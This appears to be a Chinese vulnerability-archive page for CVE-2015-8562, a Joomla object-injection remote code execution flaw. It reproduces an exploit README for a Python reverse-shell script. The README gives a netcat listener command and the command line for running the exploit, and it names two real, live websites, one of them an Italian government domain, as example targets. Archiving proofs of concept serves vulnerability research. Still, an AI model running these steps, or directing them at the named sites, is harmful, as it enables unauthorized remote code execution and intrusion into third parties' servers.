关联漏洞
标题：
Joomla! Core 远程代码执行漏洞
(CVE-2015-8562)
描述：Joomla!是美国Open Source Matters团队的一套使用PHP和MySQL开发的开源、跨平台的内容管理系统(CMS)。 Joomla!中存在安全漏洞。远程攻击者可借助HTTP User-Agent头利用该漏洞实施PHP对象注入攻击，执行任意PHP代码。以下版本受到影响：Joomla! 1.5.x版本，2.x版本，3.4.6之前3.x版本。（在2015年12月广泛利用）
描述
Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header
介绍
# CVE-2015-8562 - Reverse shell python
Exploit: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header:
Vuln Date: 12/17/2015
Exploit Author: anarc0der
Version: Joomla 1.5 to 3.4.5
CVE : CVE-2015-8562
How to:
Open one terminal and listen with nc: $ nc -lnvp 4444
Open another terminal and execute the exploit:
python3 rce.py --target='target' --ip='ip' --port=4444
Targets examples PoC (Do not fuck them, to other people use as exemple):
http://www.monitoraggiograduatorie.gov.it/
http://budo-aykac.nl/
文件快照
[4.0K] /data/pocs/9d627158e879b935a85858079b5da6cc81575bc4
├── [6.3K] rce.py
└── [ 565] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。